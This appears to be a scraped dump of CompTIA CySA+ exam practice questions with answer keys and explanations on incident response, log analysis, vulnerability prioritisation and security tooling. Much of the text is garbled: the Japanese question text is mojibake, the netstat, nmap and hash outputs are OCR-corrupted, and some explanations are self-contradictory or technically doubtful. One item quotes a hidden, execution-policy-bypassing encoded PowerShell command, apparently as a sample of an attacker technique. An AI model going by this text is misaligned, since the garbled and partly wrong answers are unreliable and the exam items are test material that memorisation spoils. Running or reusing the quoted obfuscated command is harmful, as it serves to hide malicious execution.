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The next action that the CSIRT should conduct after isolating the compromised server from the network is to take a snapshot of the compromised server and verify its integrity. Taking a snapshot
of the compromised server involves creating an exact copy or image of the server's data and state at a specific point in time.
Verifying its integrity involves ensuring that the snapshot has not been altered, corrupted, or tampered with during or after its creation. Taking a snapshot and verifying its integrity can help
preserve and protect any evidence or information related to the incident, as well as prevent any tampering, contamination, or destruction of evidence.
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Determining what attack the odd characters are indicative of is the next step that should be taken after reviewing web server logs and noticing several entries with the same time stamps, but all
contain odd characters in the request line. This step can help the analyst identify the type and severity of the attack, as well as the possible source and motive of the attacker. The odd characters
in the request line may indicate that the attacker is trying to exploit a vulnerability or inject malicious code into the web server or application, such as SQL injection, cross-site scripting, buffer
overflow, or command injection. The analyst can use tools and techniques such as log analysis, pattern matching, signature detection, or threat intelligence to determine what attack the odd
characters are indicative of, and then proceed to the next steps of incident response, such as containment, eradication, recovery, and lessons learned. Official References:

* https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

* https://www.comptia.org/certifications/cybersecurity-analyst

* https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered
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Indicators of compromise (loCs) are pieces of data or evidence that suggest a system or network has been compromised by an attacker or malware. loCs can include IP addresses, domain
names, URLs, file hashes, registry keys, network traffic patterns, user behaviors, or system anomalies. loCs can be used to detect, analyze, and respond to security incidents, as well as to share
threat intelligence with other organizations or authorities. loCs can produce the data needed for an executive briefing on possible threats to the organization, as they can provide information on the
source, nature, scope, impact, and mitigation of the threats.
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The best priority based on common attack frameworks for a new program to reduce attack surface risks and threats as part of a zero trust approach is to reduce the administrator and privileged
access accounts.

Administrator and privileged access accounts are accounts that have elevated permissions or capabilities to perform sensitive or critical tasks on systems or networks, such as installing software,
changing configurations, accessing data, or granting access. Reducing the administrator and privileged access accounts can help minimize the attack surface, as it can limit the number of
potential targets or entry points for attackers, as well as reduce the impact or damage of an attack if an account is compromised.
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To "test" links/attachments before they reach the mail server, the organization needs a control that can execute or detonate suspicious content in a controlled environment and observe behavior.
That is exactly what sandboxing does.

Secbay Press defines sandboxing as executing suspicious files/applications in a virtualized environment to observe behavior (i.e., safe testing/detonation):
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Exact extract (Secbay Press): "Joe Sandbox is a malware analysis platform that utilizes virtualized environments (sandboxing) to execute and observe the behavior of suspicious files or
applications." The official CS0-003 objectives list Sandboxing (Joe Sandbox / Cuckoo Sandbox) under tools used to determine malicious activity, aligning with the exam's expectation that
sandboxing is used to analyze suspicious content.

Why the other choices are not correct:

* B (MFA): helps protect accounts, but doesn't "test" attachments/links.

* C (DKIM): authenticates sender domain and message integrity, but doesn't detonate or test payloads.

* D (Vulnerability scan): targets hosts/services/configurations, not real-time detonation of email attachments/links.

References (CompTIA CySA+ CS0-003 documents / study guides used):

* Secbay Press, CompTIA CySA+ Exam Prep Guide (CS0-003): sandboxing executes/observes suspicious files in a virtualized environment

* CompTIA CySA+ CS0-003 Exam Obijectives v4.0: includes sandboxing tools (Joe Sandbox, Cuckoo Sandbox)

* Chapple/Seidl, CompTIA CySA+ Study Guide (CS0-003): DKIM is for verifying sender/domain integrity, not payload testing
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Fuzzing is a process used to test applications by inputting unexpected or random data to see how the application behaves. This method is particularly effective in identifying vulnerabilities such as
buffer overflows, input validation errors, and other anomalies that could cause the application to crash or behave unexpectedly. By using fuzzing, the security team can ensure the new application
is robust and capable of handling unexpected strings with anomalous formats without crashing.
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Passive scanning is a method of vulnerability identification that does not send any packets or probes to the target devices, but rather observes and analyzes the network traffic passively. Passive
scanning can minimize the risk of OT/ICS devices malfunctioning due to the vulnerability identification process, as it does not interfere with the normal operation of the devices or cause any
network disruption. Passive scanning can also detect vulnerabilities that active scanning may miss, such as misconfigured devices, rogue devices or unauthorized traffic. Official References:
* https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

* https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered

* https://www.comptia.org/certifications/cybersecurity-analyst
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Group Policy Objects (GPO) are a feature in Windows environments that allow administrators to control settings and permissions across user accounts and computers within an organization.
GPOs can restrict user permissions to prevent unauthorized installation or modification of applications, making them the best choice for centrally managing user capabilities on Windows systems.
While HIPS (Host Intrusion Prevention Systems), Registry, and DLP (Data Loss Prevention) have their own uses, GPOs provide a scalable and enterprise-level solution for application control as
per CompTIA Security+ guidelines.
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The OWASP Web Security Testing Guide (WSTG) includes a section on threat modeling, which is a structured approach to identify, quantify, and address the security risks associated with an
application. The first step in the threat modeling process is decomposing the application, which involves creating use cases, identifying entry points, assets, trust levels, and data flow diagrams for
the application. This helps to understand the application and how it interacts with external entities, as well as to identify potential threats and vulnerabilities1. The other options are not part of the
OWASP WSTG threat modeling process.
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The correct answer is Business Continuity Plan (BCP) because the question specifically asks for the document that ensures services remain available (operational) during or in the event of an
incident.

* Business Continuity Plan (BCP): This is the overarching plan focused on keeping the business running . It identifies mission-critical functions and outlines the procedures (such as failover to a
hot site, manual workarounds, or redundant systems) to ensure those services are available to customers and users despite the incident. Its primary goal is availability and continuity of operations.
* Disaster Recovery Plan (DRP): This focuses on the technical restoration of IT systems after they have failed or been disrupted. While DRP supports BCP, its specific goal is " recovery " (getting
systems back up) rather than " continuity " (keeping them from going down or maintaining service levels).

* B. Vulnerability management plan: This is a proactive process for identifying and patching weaknesses to prevent attacks, not a reactive plan to ensure availability during an active incident.

* C. Disaster recovery plan: As noted above, this is a subset of BCP focused on restoring data and infrastructure after a failure, whereas BCP focuses on maintaining the availability of the critical
service itself.
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* D. Asset management plan: This tracks hardware and software inventory but does not define procedures for maintaining availability during a crisis.
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The activities taken by the process with PID 1024 will provide the best insight into this potentially malicious process, based on the anomalous behavior. BGInfo.exe is a legitimate tool that displays
system information on the desktop background, but it can also be used by attackers to gather information about the compromised host or to disguise malicious processes12. By monitoring the
activities of PID 1024, such as the files it accesses, the network connections it makes, or the commands it executes, the analyst can determine if the process is benign or malicious.

References: bginfo.exe Windows process - What is it?, What is bginfo.exe? Is it Safe or a Virus? How to remove or fix it
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Webhooksenable automatic and event-driven interactions between applications. In the context of code repositories and vulnerability scanning, webhooksautomate the scanning processevery time
new code is committed. Thisensures continuous security coveragewithout relying on manual triggers, thereby embedding security checks into the development lifecycle efficiently. This automation
leads to improved coverage and faster identification of vulnerabilities at the earliest stage possible in the DevSecOps pipeline.

Reference:

Mya Heath,CompTIA CySA+ All-in-One Exam Guide(2024), Chapter 2: "Webhooks are typically automated and allow for real-time data transfer to trigger workflows like vulnerability scans."
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Security Orchestration, Automation, and Response (SOAR) can help the SOC analyst reduce the number of alarms by automating the process of removing duplicates and managing security alerts
more efficiently.
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SOAR platforms enable security teams to define, prioritize, and standardize response procedures, which helps in reducing the workload and improving the overall efficiency of incident response by
handling repetitive and low-level tasks automatically.
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Registry artifacts and EDR data are two data sources that can provide valuable information about the root cause of a malware outbreak. Registry artifacts can reveal changes made by the
malware to the system configuration, such as disabling security services, modifying startup items, or creating persistence mechanisms1. EDR data can capture the behavior and network activity of
the malware, such as the initial infection vector, the command and control communication, or the lateral movement2. These data sources can help the analyst identify the malware family, the
attack technique, and the threat actor behind the outbreak.

References: Malware Analysis | CISA, Malware Analysis: Steps & Examples - CrowdStrike
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The firewall certificate expired. If the firewall uses a certificate to authenticate and encrypt the feed, and the certificate expires, the feed will stop working until the certificate is renewed or replaced.
This can affect the data enrichment process and the security analysis. References: CompTIA CySA+ Study Guide: Exam CSO-

003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 161.
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The correct answer is A. 121.19.30.221.

Based on the log files and the organization's priorities, the host that warrants additional investigation is

121.19.30.221, because it is the only host that accessed a file containing sensitive data and is not from the partner vendor's range.

The log files show the following information:

* The IP addresses of the hosts that accessed the web server

* The date and time of the access

* The file path of the requested resource

* The number of bytes transferred

The organization's priorities are:

* Unauthorized data disclosure is more critical than denial of service attempts

* Denial of service attempts are more important than ensuring vendor data access According to these priorities, the most serious threat to the organization is unauthorized data disclosure, which
occurs when sensitive, protected, or confidential data is copied, transmitted, viewed, stolen, altered, or used by an individual unauthorized to do so123. Therefore, the host that accessed a file
containing sensitive data and is not from the partner vendor's range poses the highest risk to the organization.

The file that contains sensitive data is /reports/2023/financials.pdf, as indicated by its name and path. This file was accessed by two hosts: 121.19.30.221 and 216.122.5.5. However, only
121.19.30.221 is not from the partner vendor's range, which is 216.122.5.x. Therefore, 121.19.30.221 is a potential unauthorized data disclosure threat and warrants additional investigation.
The other hosts do not warrant additional investigation based on the log files and the organization's priorities.

Host 134.17.188.5 accessed /index.html multiple times in a short period of time, which could indicate a denial of service attempt by flooding the web server with requests45. However, denial of
service attempts are less critical than unauthorized data disclosure according to the organization's priorities, and there is no evidence that this host succeeded in disrupting the web server's normal
operations.

Host 202.180.1582 accessed /images/logo.png once, which does not indicate any malicious activity or threat to the organization.

Host 216.122.5.5 accessed /reports/2023/financials.pdf once, which could indicate unauthorized data disclosure if it was not authorized to do so. However, this host is from the partner vendor's
range, which is required to have access to monthly reports and is the only external vendor with authorized access according to the organization's requirements.

Therefore, based on the log files and the organization's priorities, host 121.19.30.221 warrants additional investigation as it poses the highest risk of unauthorized data disclosure to the
organization.
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To mitigate brute-force attacks, implementing an account lockout policy (C) prevents continuous attempts by locking the account after a set number of failed logins. Blocking inbound connections
on TCP port 3389 (RDP) from untrusted IP addresses (F) limits access, reducing the attack surface. According to CompTIA Security+, these controls effectively prevent unauthorized access.
While blocking specific IPs (D) or disabling RDP (E) can also help, the lockout and firewall rules provide broader, proactive protection against this attack type.
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This scenario describes a strictgovernance policyrequiring multiple approvals for high-risk security group changes.Organizational governancerefers to policies that enforce security controls and
approval workflows.

* Option B (MOU - Memorandum of Understanding)refers to agreements between parties, not internal security processes.

* Option C (SLA - Service Level Agreement)refers to service guarantees, not security governance.

* Option D (Business process interruption)might be a consequence, but it is not the primaryinhibitor to remediationin this case.

Thus,A is correct, as governance rules are restricting remediation speed.
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Header analysis is the technique of examining the metadata of an email, such as the sender, recipient, date, subject, and routing information. It can help to identify the source of a malicious email
by revealing the IP address and domain name of the originator, as well as any spoofing or redirection attempts. References:

CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 6, page 240; CompTIA CySA+ CSO-

003 Certification Study Guide, Chapter 6, page 249.
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Vulnerability 2 has the highest impact metrics, specifically the highest attack vector (AV) and attack complexity (AC) values. This means that the vulnerability is more likely to be exploited and
more difficult to remediate.

References:

CVSS v3.1 Specification Document, section 2.1.1 and 2.1.2

The CVSS v3 Vulnerability Scoring System, section 3.1 and 3.2
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Comprehensive Detailed Explanation:The best approach to address the risk of a zero-day attack is mitigation.

Here's an explanation of each option:

* A. Avoid

* Explanation: Avoiding risk would mean discontinuing the use of the asset, which is not feasible for high-value assets that are essential to operations.

* B. Transfer

* Explanation: Transferring risk would involve outsourcing or obtaining insurance, but this does not directly reduce the threat of a zero-day exploit.

* C. Accept

* Explanation: Accepting the risk means acknowledging it without implementing countermeasures, which is not advisable for high-value assets at risk from sophisticated attacks.
* D. Mitigate

* Explanation: Mitigation involves implementing technical or administrative controls to reduce the impact of an attack. For zero-day exploits, this could include installing network-based protections,
enhancing monitoring, or applying threat intelligence to detect or contain potential exploit attempts.

References:

* NIST SP 800-30: Guide for Conducting Risk Assessments.

* OWASP Risk Rating Methodology: Techniques for assessing and mitigating security risks.
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Active Connections
Local address Foreign address State

LISTENING
LISTENING

TCP 0.0.0.0:44 0z 0 LISTENING

TCP 0.0.0.0:80 0.0.0.0:0 LISTENING

TCP 27.0.0.1:19&0 122 ESTABLISHED

[sftp.exe]

TCP 92.168.10.21:38666 41.21.18.102:22 ESTABLISHED

[sftp.exe]

TCP 2 8. 66.207.110.49:https ESTABLISHED

.10.180.7:https ESTARNTSHED

1 il .00 . 33: hEtp ESTABLISHED
1 37322 TIMFE WAIT
[notepad.exe]

TCP 1 . o. 21:527 . N B TIME_WP.IT

TCP 2. 168.10821:567 i g =3 I I da TIME WAIT

Select the command that generated the output in tab 1: Identify the file responsible for the malicious behavior:

‘Se"_ect command O calendar.dat O cmd.exe

() sftp.exe () calc.exe

Select the command that generated the output in tab 2: O explorerexe O users.txt

Select command . () svchost.exe




Active Connections

Proto ccal address ‘oreign address State

TCP .0 Ll 0:z0 LISTENING
TCP 0.0.0 223 0. 3.0:0 LISTENING
TCP D.0.0.0:44. 0.0.0.0:4 LISTENING
TCP 0.0 0 L] . 0:0 LISTENING
TCP 27.0.0.1:1960 0.0 22 ESTABLISHED
lsftp.aexe]

ESTRAELISHED

[sftp.axal

TCP
[svchost.exe
i celect command ESTABLISHED
g ncistag tod

W TaskKlist ESTABLISHED
et stop TIME WAIT

¥ arp -a

[l nslookup
"“taskkill /FI

cmd |
‘ ipconfig /reset Identify the file responsible for the malicious behavior:

TIME WAIT
TIME WAIT

|Select command v O calendar.dat O cmd.exe

&

) sftp.exe O calc.exe

Select the command that generated the output in tab 2:

| Select command v ) svchost.exe

L

) explorer.exe O users.txt




Sta

LISTENING 1000
LISTENING 1235
LISTENING 1466
LISTENING 1566
ESTABLISHED 2001

= BID

[sftp.exe]
TCP 92.168.10.21:: B 11.2 ESTABLISHED
[sftp.exe]

TCP 02.168.10.21:8447 66.207.110.49:https

[swvchos

TCP 2 eI =5530 31.10.100.7:https ESTABLISHED
[cmd.exe]

TCP 192.168.10.21:376"F 192.168.10.37 :htkp ESTABLISHED
TCP 192.168.10. 3535 32.111.1658 T 28 TIME WAIT
Er Select command o
jnet stop =
tasklist
lipconfig /reset
netstat -bo

TIME WAIT

Identify the file responsible for the malicious behavior:

arp -a (O calendar.dat O cmd.exe
__|nslookup
taskkill /FI — O sftp.exe O calc.exe

cmd . O explorer.exe O users.txt

Select command | 7y svchost.exe




Image Name

Cmd . exe 67 0 18,020 K

sftp.exe 200 co - [ 17

sftp.exe 3918 & ) 1,788

svchost .exe 7 Console 0 198 K

11 K

notepad.exe L Co = i 0 E

Select the command that generated the output in tab 1: | Identify the file responsible for the malicious behavior:

Select command v ( calendar.dat O cmd.exe

: | () sftp.exe () calc.exe

Select the command that generated the output in tab 2: O explorer.exe O users.bat

Select command w

| () svchost.exe



> Get—ChildItem | Get-Filehash —-Algorithm MD5

Algorithm Hasl File

HMDS 372ab227fd5e cmd . exe

MD5S 3 5d 87 Baad4cz calc.exe

HMD5 2abaZefdSea™oc =¥ explorer.exe
MD5S 6ab dSech users.txt
MD5S 212ac? d5S 22babld] calendar.dat
MD5 F 12 ] - sftp.exe

MDS i S U/ bcdc svchost ..axe

T,

Select the command that generated the output in tab 1: Identify the file responsible for the malicious behavior:

calendar.dat O cmd.exe

L

‘Eelect command v | [

O sftp.exe O calc.exe

",

Select the command that generated the output in tab 2: O explorer.exe &) (1ears tict

Select command v

L

svchost.exe

oy
|




File
cmd . exe
calc.aexa

explorer.exe

10eaddlcl 1sers.txt

321 3ba calendar.dat
10adl32 ; i S5ch

33cldlf5adl pallldol

Select the command that generatedsthe output in tab 1: Identify the file responsible for the malicious behavior:

:Se'_e-:t command A B v O calendar.dat O cmd.exe

b O sftp.exe O calc.exe
Select the command that generated the output in tab 2:_ O explorer.exe O users.bet
:S%Lect command v l.-l ) svchest.exe

' S Yt -
A ~ - - - - .. - - - -




G

Select the command that generated the output in tab 1: Identify the file responsible for the malicious behavior

P s v calendar.dat cmd.exe

tamzkllis=t sftp.exe calc.exe
explorer.exe users,ba
svchost.exe

Select the command that generated the output in tab 2!

tankkill /FI

Efiz:



. s% s8 1 RR__J§ 'R 8 5
Select the command that generated the output in tab 1: Identify the file responsible for the malicious bfhavior:
e i —

- calendar.dat I cmd.exe |
sftp.exe calc.exe
explorer.exe users,bxt

svchost.exe

caaskkill /FI

Seldect the command that generated the output in tab 2:

-

tankkill /F¥I

Explanation:

Select the command that generated the output in tab 1:
* netstat -bo

Select the command that generated the output in tab 2:
* tasklist

Identify the file responsible for the malicious behavior:
* cmd.exe

Select the command that generated the output in tab 1: The output in tab 1 displays active network connections, which can be generated using the netstat command with options to display the
owning process ID.

Select the command that generated the output in tab 1:
* netstat -bo



Select the command that generated the output in tab 2: The output in tab 2 lists the running processes with their PIDs and memory usage, which can be generated using the tasklist command.
Select the command that generated the output in tab 2:

* tasklist

Identify the file responsible for the malicious behavior: To identify the malicious file, we compare the hashes of the current files against the baseline hashes. From the provided data:

* The hash for cmd.exe in the current state (tab 3) is 372ab227fd5ea779c211a1451881d1e1.

* The baseline hash for cmd.exe (tab 4) is a2cdef1c445d3890cc3456789058cd21.

Since these hashes do not match, cmd.exe is the file responsible for the malicious behavior.
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TFFTFIRAMET AT AVOTUORERBELTEY AEO—RELTROBEHREMEBLELS,

cmd.exe /cc:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -EncodedCommand <VERY LONG STRING> CZ®
aAv Y FOEMICEAT AFEMBERET T YR MDRETLICE ROENEFERTILENHY FIH?

A O3 K RAO0—FDHNEZ% basebd -d' [2Ta—LFT,

B. Windows VM M 5a3 > FEEFTLET,

C. BHAERZHE DOV FaAVY—ILZFERALTI—FZETLET,

D.7FUARALN D=V RT—a U blERDGNAI—HF—ELTITU REEITLET,

EfE:A(QAV REHEKRT D)

The command in question involves an encoded PowerShell command, which is typically used by attackers to obfuscate malicious scripts. To decode and understand the payload, one would need
to decode the base64 encoded string. This is why option A is the correct answer, as 'base64 -d' is a command used to decode data encoded with base64. This process will reveal the plaintext of
the encoded command, which can then be analyzed to understand the actions that the attacker was attempting to perform. Option B is risky and not advised without a controlled and isolated
environment. Option C is not safe because executing unknown or suspicious code with administrator privileges could cause harm to the system or network. Option D also poses a risk of executing
potentially harmful code on an analyst's workstation.
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XAV TAT7FTIVRIY RALERESIUHBICET 2EROEETRY FT—U0 6 AEEEOHDIAY FT—IF7 FLRAEHELLISELTVWET UTOY LRI ) T RE#D S 5,
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A. function w() { a=$(ping -c 1 $1 | awk-F "/" 'END{print $1}') & & echo "$1 | $a" }

B. B. function x() { b=traceroute -m 40 $1 | awk 'END{print $1}') & & echo "$1 | $b" }

C. C. function y() { dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ".in-addr" "{print $1}').origin.asn.cymru.

com TXT +short }

D. function z() { c=$(geoiplookup$1) & & echo "$1 | $c" }

IEfE: (EffZRnmLET)

The shell script function that could help identify possible network addresses from different source networks belonging to the same company and region is:

function y() { dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ".in-addr" "{print $1}').origin.asn.cymru.com TXT +short } This function takes an IP address as an argument and performs two DNS
lookups using the dig command. The first lookup uses the -x option to perform a reverse DNS lookup and get the hostname associated with the IP address. The second lookup uses the
origin.asn.cymru.com domain to get the autonomous system number (ASN) and other information related to the IP address, such as the country code, registry, or allocation date.

The function then prints the IP address and the ASN information, which can help identify any network addresses that belong to the same ASN or region

Eﬁ:ﬁ: 25
tXal)T4 IRx—Tv—I&L CVSSV3 [TIHRFT SR HDIBRAEDHEZRET H=DIC Y—FNN\—T s DIREEMEA L) v 9 (SMITTEN) Z#&FLTVWWET RO EDHITRELGY FT,


https://www.jpnshiken.com/q/69047-6477423/
https://www.jpnshiken.com/q/69047-6477424/

Vuinerability 1

CVSS: 3. 1/AV:N/JAC:LPRNUIN/S:LUIC:H/I:N/A:N - Basa Score: 7.5
High

SMITTEN: Malware expioitable: No; Exploit Activity: Low; Exposed
Externally: No

Vuinerability 2
CVSS:3.1/AV:N/AC:LUPR:LIUIEN/S:UIC:LN:L/A:N - Base Score: 5.4
Medium

SMITTEN: Malware exploitable: Yes; Explgit Activity: HIGH; Exposed
Externally: Yes

Vuinerability 3 . .

CVSS:3.1/AVIN/AC:UPR:NIUIN/S:U/C:H/I:H/A:H - Base Score: 9.8
Critical

SMITTEN: Malware exploitable: No; Exploit Activity: None; Exposed
Externally: Yes

Vuinerability 4
CVSS:3.1/AV:N/AC:LUPR:L/UINIS:C/IC:H/I:H/A:H - Base Score: 5.9
Critical

SMITTEN: Malware expiolable: Yes. Explon Activily: Medium; Exposed |
Externally: No

ROMEEEDSI B ENZRBRETNETL &5

A. fE55 1% 1

B. 5514 2

C. Ma551% 3

D. 5514 4

Eff:B(aAV FEHEEKT D)

Vulnerability 2 should be prioritized as it is exploitable, has high exploit activity, and is exposed externally according to the SMITTEN metric. References: Vulnerability Management Metrics: 5
Metrics to Start Measuring in Your Program, Section: Vulnerability Severity.
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X2V TAEBRAYAR—O v —HIEIEOEAZRET DFREESEVVRRIEIRD ENTT H?

A ZELESTIXAvE—UIZEDINIDS/IL—ILDERL

B.IUA—T5AX RAAL Y OV FA—F—~DHET IV L RAERDER,

C. Y DPKIZFATDHMRE D HITDHEE

D.EFA—IT—FrozAICEoTHIESNERDODLLWILLDZ 7 NAFT ) DR

EfZ: (EffzRRLET)

Automating the generation of NIDS (Network Intrusion Detection System) rules based on Structured Threat Information eXpression (STIX) messages is a practical use of automation in security
operations.

Option B (Privileged access requests) should involve human oversight due to the high risk of unauthorized access.

Option C (PKI identity verification) requires manual document verification and human approval.

Option D (Malware analysis) often requires sandboxing and behavioral analysis, which benefit from human expertise.

Thus, A is the correct answer, as automating threat intelligence ingestion and rule creation enhances efficiency in intrusion detection.
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AN—FX2)TAA VT MNRELER BRRAY FT—0128H5 Web H—/N\—D 1 DRSS VYLD I TOHEFZITELE, RDT7V23 D55 T CICETTIRHELAHLIDIE
ENTIM?

AY—N—%2vy TV LET,

B.—N—ZBHA A—DILET,

C.H—N—%RELET

D.OS#®R#/N—P a7y TT—rLET,

IEfR: (EffZzRnLET)

Quarantining the server is the best action to perform immediately, as it isolates the affected server from the rest of the network and prevents the ransomware from spreading to other systems or
data. Quarantining the server also preserves the evidence of the ransomware attack, which can be useful for forensic analysis and law enforcement investigation. The other actions are not as
urgent as quarantining the server, as they may not stop the ransomware infection, or they may destroy valuable evidence. Shutting down the server may not remove the ransomware, and it may
trigger a data deletion mechanism by the ransomware. Reimaging the server may restore its functionality, but it will also erase any traces of the ransomware and make recovery of encrypted data
impossible. Updating the OS to the latest version may fix some vulnerabilities, but it will not remove the ransomware or decrypt the data. Official References:

* https://lwww.cisa.gov/stopransomware/ransomware-guide

* https://lwww.cisa.gov/sites/default/files/publications/Ransomware_Executive_One- Pager_and_Technical_Document-FINAL.pdf

* https://www.cisa.gov/stopransomware/ive-been-hit-ransomware
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ROENEFATDE SFEIFLRT IV T—2 a3V 0RAB7 IV r—2a V0 TELGENRRAT—REFEATILENGLRYFETH?

A. CASB

B.> JILYA ot

C. PAM

D. MFA

EfR: (EffZzRTLET)

Single Sign-On (SSO) allows users to log in with a single ID and password to access multiple applications. It eliminates the need for different passwords for various internal applications,
streamlining the authentication process.
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Ef:C(AA U LEHKT D)

Agent-based scanning is a method that involves installing software agents on the target systems or networks that can perform local scans and report the results to a central server or console.

OO0 W > o

Agent-based scanning can reduce the access to systems, as the agents do not require any credentials or permissions to scan the local system or network. Agent-based scanning can also provide
the most accurate vulnerability scan results, as the agents can scan continuously or on-demand, regardless of the system or network status or location.
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F#% 10:00 [CRET LHAREMEDHLHLDERDSIBLENTIT H?

A. THRAGETY—ETEE

B.*Y hIT—Y EDFRELT/INAR

C.OSTR+XDEELEE

D. T—A2 D5 FHL

IEfE: (EfEZRERLET)

Data exfiltration is the theft or unauthorized transfer or movement of data from a device or network. It can occur as part of an automated attack or manually, on-site or through an internet
connection, and involve various methods. It can affect personal or corporate data, such as sensitive or confidential information. Data exfiltration can be prevented or detected by using
compression, encryption, authentication, authorization, and other controls1 The network activity shows that a device on the network is sending an outbound email via a mail client to a non-
company email address daily at 10:00 p.m. This could indicate that the device is compromised by malware or an insider threat, and that the email is used to exfiltrate data from the network to an
external party.

The email could contain attachments, links, or hidden data that contain the stolen information. The timing of the email could be designed to avoid detection by normal network monitoring or
security systems.
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MTTDA A T2 bRAEDIREE AT 27— aVICTEDKSITEET HINZTHBALTLSDE RDSIBLENTIMN?

A MTTDAEWEE A O T MK DBEMGEENERINET,

B.MTTDDHREIZ&Y )—F—2y TF—LIXTEBERAINDIFICERERHTETLLIICHYET,

C.MTTDIE BN LREFTOHERAFHEZERZLET,

D. MTTDIZRHEFD—FHTHY . MEDT-ODERBIN-TO LR Z@E L TLET,

IEfR: (EffZzRTLET)

The correct answer is A because MTTD stands for Mean Time to Detect. It measures how long it takes an organization to identify that a security incident has occurred. A shorter MTTD means the
organization detects incidents faster, which usually allows containment and response to begin sooner. Faster detection can reduce attacker dwell time, limit damage, and reduce the overall impact
of the incident.

Exact supporting extract: the Secbay CySA+ guide defines MTTD as "the average duration between the occurrence of a security incident and its detection." It also states that MTTD represents the
effectiveness of monitoring and detection capabilities, and that communicating MTTD gives stakeholders a quantitative measure of detection efficiency.

The same guide states that "Reducing MTTD is often a key objective in enhancing overall cybersecurity resilience," which directly supports the idea that a shorter MTTD helps reduce potential
incident impact.

The official CompTIA CS0-003 objectives list Mean time to detect, Mean time to respond, Mean time to remediate, and alert volume under incident response reporting and communication metrics
and KPlIs.

Why the other options are incorrect:

A is correct because shorter detection time usually reduces the window of opportunity for attackers and lowers possible incident impact.

B is incorrect because improved MTTD does not guarantee leadership will know about threats before exploitation. MTTD measures detection after an incident or event begins.

C is incorrect because MTTD does not define the time between detection and response. That relates more closely to MTTR, mean time to respond.

D is incorrect because MTTD is a metric used in incident response reporting, but it is not itself a regulatory compliance process or an approved reporting procedure.
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A BFEIEHRG L TREY VEETLET,

B. #i#AAHWebH—/N\—DR— FZEBLET,

C.7) AY TRy FRICAREIIAREIN-RA XY VEERLET,

D.AFX v UBRALT VD LEMEORSZEOLET,

FfE:C(aArA  bEHKT D)

The best way to prevent network printers from printing pages during a vulnerability scan is to create a tailored scan for the printer subnet that excludes the ports and services that trigger the
printing behavior. The other options are not effective for this purpose: performing non-credentialed scans may not reduce the impact on the printers; ignoring embedded web server ports may not
cover all the possible ports that cause printing; increasing the threshold length of the scan timeout may not prevent the printing from occurring.

References: According to the CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition1, one of the objectives for the exam is to "use appropriate tools and methods to manage, prioritize and
respond to attacks and vulnerabilities". The book also covers the usage and syntax of vulnerability scanning tools, such as Nessus, Nmap, and Qualys, in chapter 4. Specifically, it explains the
meaning and function of each component in vulnerability scanning, such as credentialed vs. non-credentialed scans, port scanning, and scan scheduling1, pages 149-160. It also discusses the
common issues and challenges of vulnerability scanning, such as network disruptions, false positives, and scan scope1, pages 161-162. Therefore, this is a reliable source to verify the answer to
the question.

B 33

XAV TATFTIVRADPEREEICH L THRBEERA Xy Z2ERL LLTOMRBHERR L=,

DRATLA NY T FA—/IN—T0—-CVSSEZEXI79.6

VRXATLB ) E— 33— FEIT-CVSSEZIEX79.8

VAT LC DDoSIME - CVSSFEZIE X7 8.2

DRATLD Y ARYA NRY ) TT 427 -CYSSEXRERTT 8.6
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A. KRR FDEEERITHATY,

B. SLAEHMARELTLET,

C. BEMDKPIFAESNTLEEA,

D. EOTA SRS SnFEL

EfR: (EffZzRTLET)

The correct answer is A because CVSS scores alone do not fully determine remediation priority. A vulnerability with a slightly lower CVSS score on a mission-critical system may need to be
remediated before a higher-scoring vulnerability on a low-value or isolated system. The missing information is the criticality of the affected hosts/assets .

Exact supporting extract: the CySA+ All-in-One guide states that analysts should consider exploitability, whether a vulnerability is weaponized, patch availability, and asset value and criticality
when determining remediation priority. It also explains that analysts must consider the impact to business operations when taking an asset offline for remediation.
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The Secbay CySA+ guide also explains that vulnerability prioritization should evaluate severity, exploitability, and the criticality of affected systems. It specifically states that organizations should
identify and prioritize vulnerabilities based on the criticality of the assets they affect and consider business operations, data sensitivity, and regulatory compliance.

Why the other options are incorrect:

A is correct because host criticality is required to confirm which vulnerability should be remediated first.

B is incorrect because SLAs define remediation timelines after prioritization, but the question asks what information is needed to confirm prioritization.

C is incorrect because KPIs measure program performance; they do not determine which vulnerable host is most critical.

D is incorrect because nothing in the question indicates these are zero-day vulnerabilities or that zero-days were excluded.
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Nmap scan report for officerokuplayer.lan (192.168.86.22)

Host is up (0.11s latency).

All 100 scanned ports on officercokuplayer.lan (152.1€8.8€.22) are filtered
MAC Address: BRf:3E:59:86:1A:13 (Roku)

Nmap scan report for pdwnpl_alca.lan (192.168.8€.5€)
Host is up (0.022s latency).

Net shown: 96 closed ports

PORT STATE SERVICE

22/tcp open ssh

111/tcp open rpcbind

139/tcp open netbios-ssn

445/ctcp open microsoft-ds

8000/tcp open http-alt

MAC Address: B8:27:EB:D0:8E:P1 (Raspberry Pi Foundation)

Nmap scan report for whédc-748gy.lan (152.168.86.152)
Host is up (0.033s latency).
Not shown: 95 filtered ports
PORT STATE SERVICE
80/tcp open http
135/ctcp open msrpec
139/tcp open netbios-ssn
443/tcp open httpl

5 W TY- -Ssn
- d’ -Nf’ t-ds =3
3389/tcp open ms-wbt-server ' .
5357/tecp open wsdapi T . %
MAC Address: 382:BA: Fﬂ E3£411t5 {In:nl Corporate)

Nmap scan rnpq:t.!pft;llptcp.l:n (192.1€8.8€.249)
Host¥is up (0.0248 latency).

Not shown: 93 filtered ports

PORT STHTE SERVICE

22/tcp |  open ssh

135/tcp open msIpc

139/tcp open netbios-ssn

443/tcp cpen https

445/tcp open microsoft-ds

3389/tcp cpen ms-wbt-server
5357/tcp cpen wsdapi

MAC Address: €4:00:€R:8E:D8:FS5 (Dell)

Nmap scan report for imaging.lan (192.162.86.150)
Host is up (0.0013s latency).

Net shown: S5 closed ports

PORT STATE SERVICE

135/tecp open msrpe

135/tcp copen netbios-ssn



445/tcp open microsoft-ds

3389/tcr open ms-wbt-server

§357/tcg open wsdapi

MAC Address: 38:BA:F8:F4:32:CA (Intel Corporate)

THFIRAMI UTOBRBED S L ENZTRAICKRFTIRETLELOIMN?

